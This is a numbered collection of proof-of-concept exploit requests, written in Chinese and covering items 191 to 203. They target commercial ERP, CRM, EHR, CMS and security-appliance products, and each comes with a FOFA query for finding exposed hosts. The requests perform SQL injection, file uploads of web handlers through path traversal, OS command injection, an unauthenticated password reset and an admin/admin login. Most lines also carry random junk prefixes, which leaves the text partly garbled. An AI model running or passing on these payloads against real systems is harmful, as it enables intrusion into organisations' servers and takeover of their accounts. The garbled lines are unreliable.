" B& m: G+ V" j5 [" L" l! t4 VFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 j, t. t8 |6 ]6 A" Z; |Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
4 F7 }6 t! G$ d9 Z/ c7 _
5 U- W( D1 B% |
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
6 O: q. r. B7 m2 f) n- y0 K1 ]FOFA：title="用户登录_富通天下外贸ERP"
5 {2 r9 K6 ]' D$ v5 YPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
* P" `. ~! \3 `# fHost: your-ip
6 a* t% _  ?! E7 ~& b: e2 H' {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
: A" J( d. X. I% k' |Content-Type: application/x-www-form-urlencoded


2 m. W% C6 N, c. q: \1 }/ z* x<% @ webhandler language="C#" class="AverageHandler" %>
$ N& R8 ^1 n. m' @  Jusing System;
+ S# W8 |0 b# _+ Kusing System.Web;
public class AverageHandler : IHttpHandler
{
' N9 n1 F0 k, G* t. upublic bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
4 s' }& S$ ~2 ?" r6 u1 Ictx.Response.Write("test");
, H9 H. C6 \' ^6 K; k& P7 K}
  Z0 ^$ J, F3 t& i3 K8 w0 e}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
8 E! t6 Z% p/ K' I, p: {& eGET /master/ajaxActions/getTokenAction.php HTTP/1.1
) z( ~. W- c0 t% u% z# Z8 o* t' B2 WHost:
/ K3 Z0 P) p! f% t. ZCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

3 _9 J1 E4 L$ D: o0 n& v* t% L
2 g1 q# u4 J* W$ rPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
" P, D! X7 O. i) zUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
0 l; t! Z# w$ j3 X3 sContent-Type: application/x-www-form-urlencoded
Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
" {0 e; M( X5 ?9 a! H
- h& h+ Z& V( ~! p1 A! Q) Y' ^
GET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0
5 D& s# n& ?6 P' M

194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

( k  M* ^. U: S; v6 l' f& f  v) mPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 a) L% Z1 h2 N- nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. C, \$ a4 E, U0 z! I* MAccept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
' E9 k% |' z; A' y# R$ o
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
' u4 F, c* H  R* Y0 @5 @8 XContent-Type: text/plain
( r2 a* G7 N) M0 U5 U% u+ u' h( ~<% out.println("hello");%>
3 _  R* }5 D: d------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
) I8 W; _1 n  K& y7 ?2 U8 I7 m+ u# V {"iq":{"query":{"UpdateType":"mail"}}}
* n# T  i5 ?9 L5 y/ m------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
& f+ r* A* N5 V8 t( x& i6 U9 w

195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
( b1 i: y; h4 U3 z  J+ SFOFA：title=="飞鱼星企业级智能上网行为管理系统
8 d; l: r# i6 L1 v2 n5 q: J$ T, `POST /send_order.cgi?parameter=operation HTTP/1.1
5 Q  ^" ^: g5 e2 o0 zHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
4 T4 W9 k7 L' `3 K  FAccept: */*
4 L7 e7 w1 e- _+ SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
+ A6 H3 r. b9 w! W" D
# [# d' s5 F5 c5 E{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
: O$ r$ }8 C& h) v& s
. {* B& {$ ~% ~3 r. E, a! x# @6 K1 l
2 A! N4 g- V. Q( k" C+ w196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
- _" f3 g. H  o- TPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
! q2 r0 u2 O) X1 N) G2 Z. s; eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
7 P/ A& @4 }  EContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
# q% G) V( \( v( y9 vContent-Length: 45
Connection: close

6 Y$ Z. ?, T# z1 P6 x, `% a) Z; k{"xgh":"test","newPass":"test666","email":""}
) e/ A7 h5 ~4 `: O8 I9 E# ]; A


197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
0 i  i3 X% d! `/ aHost:
! h6 l6 |; H6 ~) X/ }! k2 ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
6 Q% {" ~* m9 X- m% F8 yConnection: close


+ i! j* e, I3 Z8 }' S/ E) ~
9 n! y; {. R4 V' L198.  阿里云盘 WebDAV 命令注入
: |) t+ t' w  b* z2 [CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
' t6 a+ A" r9 {( u; K, NCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
' e5 B+ f- r# O7 F) V2 rAccept-Encoding: gzip, deflate
) R( S& ~- S7 ?% U+ }3 LAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
/ X2 w$ F) x( A, l' o: }Connection: close
5 w' n/ F/ D; @1 c
4 Q$ @3 V7 @# s) a% \- u
199. cockpit系统assetsmanager_upload接口 文件上传
; g: N6 v. i# ^( x, d
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
5 p- o% J4 X( J" v+ n6 RGET /auth/login?to=/ HTTP/1.1

' H% m' R. v- I响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：

/ z4 e1 I# J6 E9 D! V  o% iPOST /auth/check HTTP/1.1
  C7 c4 O. @4 E( {8 p- RContent-Type: application/json
! v8 ~& j6 G# `. [& u
3 a# [; m- x# G9 i: h5 c# k{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
% _, b5 e: M9 Q: w- q
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
. @% b. V& [5 b6 L4 gPOST /assetsmanager/upload HTTP/1.1
- Q8 V& O- N' fContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
' |$ n+ r. H4 O  L+ |2 GCookie: mysession=95524f01e238bf51bb60d77ede3bea92
. r5 D+ i# w$ o7 c2 G4 M/ Q' I
-----------------------------36D28FBc36bd6feE7Fb3
, G! y7 v; w' `3 j: M; AContent-Disposition: form-data; name="files[]"; filename="tttt.php"
/ Z1 K9 z- T1 g" W# y- i4 c# eContent-Type: text/php
4 x& X6 }9 z/ W/ @3 I  |
* n3 b* r% P. @) {+ W<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
5 i! x) e& m6 X5 x# fContent-Disposition: form-data; name="folder"

' C- p) ]6 @0 A$ z9 l! `" L-----------------------------36D28FBc36bd6feE7Fb3--
9 A$ `2 Q4 \, R- }6 @/ K
+ @% a/ v; e3 L& |3 Q
/storage/uploads/tttt.php
8 i3 t" d2 H; K1 S" {
200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
' Z0 m  f( B  U' gGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
0 H, K$ @6 D) I. w1 ?Upgrade-Insecure-Requests: 1
* R* N5 \& T& w( S( iCache-Control: max-age=0
/ Q0 k% \8 F6 p: d' \0 D& QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


201. 方正全媒体新闻采编系统 binary SQL注入
: Z+ a. U6 J" O9 m/ ~" jFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
% Y3 q: J) `" K. w/ o8 t" [) [- wPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) `- X6 l3 q1 d/ u1 M8 Q+ {. e1 TAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' u& X9 y1 t. y; F4 d- P. WConnection: close

# w# T2 ^% g( j* h1 WTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
; V& o; H2 p% `9 ]) D* o
+ q. w% n6 p  ~; d
202. 微擎系统 AccountEdit任意文件上传
! }* v% B- c+ T7 l9 _5 h5 CFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
9 O( M& J5 n5 @& _2 l# _2 SGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
! l/ K  `$ l% @8 j" ?0 U' LContent-Length: 0

1 c- K9 X4 W6 {
  c! w" I3 p3 D" P/ D, @" M替换__VIEWSTATE和__EVENTVALIDATION值
% H: T4 P3 P0 Z6 v1 x6 N+ qPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
$ [1 B, X6 I2 X-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
' g- D6 F' m% s* n( M- ~
__EVENTVALIDATION
5 p7 @  i$ x( R: ]3 `* H) h9 t, q( u6 k-----------------------------786435874t38587593865736587346567358735687
6 [; u$ G0 L, H- R; n3 Z, p' K; VContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
7 A4 A9 Z7 A/ |3 I: @
Hello World!
9 a2 d& U2 X* D/ j, n1 U0 R-----------------------------786435874t38587593865736587346567358735687
. M: S* J' W- wContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
6 z, x  [4 f8 B9 T2 ~; C/ F-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
  L# e% A4 f1 a; J5 [9 ?2 S6 `
9 s/ e4 m* B1 \+ u- _: G0 U- }/ T3 h
+ F$ |3 P! k6 h5 z4 O% R-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
; U# q. R5 n5 q- ^1 B' I" U, J

' U" Y7 R+ b& E* I-----------------------------786435874t38587593865736587346567358735687--

3 X1 H& t. W1 E% C/ E% x5 d0 F
/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
+ X# t: }+ J5 c( t& }  t3 nPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
" F" V& D5 D% g9 p+ G0 AHost: x.x.x.x
+ R1 x/ R2 q2 P6 j$ i+ \Accept-Encoding: gzip
5 W  b8 r9 J: h) ]' gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: n% S2 ~# C) j+ }Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
3 g) n3 w5 a& e
------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
3 |. ~: m/ h2 e) P5 q& V2 A/ vContent-Type:image/jpeg
; }% J! p: M# t; `  u
; R0 r) G1 ?" q$ P# Q6 D<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--


" _9 j; G9 [" N! ^# }
& ?8 f. P3 h' Z# U8 ?- E  X
$ f8 }6 B  q3 u3 e! Q' H; j& ?

, y, T$ m, f+ f  w# D4 H) r